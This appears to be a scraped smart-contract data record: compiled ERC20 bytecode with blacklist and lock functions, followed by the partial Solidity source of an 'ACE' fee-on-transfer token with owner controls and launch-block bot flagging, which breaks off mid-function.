480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212201976e4bc6b3cf2aa5f5cde9e7f7ef0cf93d4152a16be83ff68605f6bf19a7f4864736f6c63430007030033
{"success": true, "error": null, "results": {}}
1,020
0x479bd5ba25a318835a1ab87c73198a37da960012
/** *Submitted for verification at Etherscan.io on 2022-05-02 */ // https://t.me/aceportal // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract ACE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "ACE"; string private constant _symbol = "ACE"; uint private constant _decimals = 9; uint256 private _teamFee = 7; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from] && !_isBot[to]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; 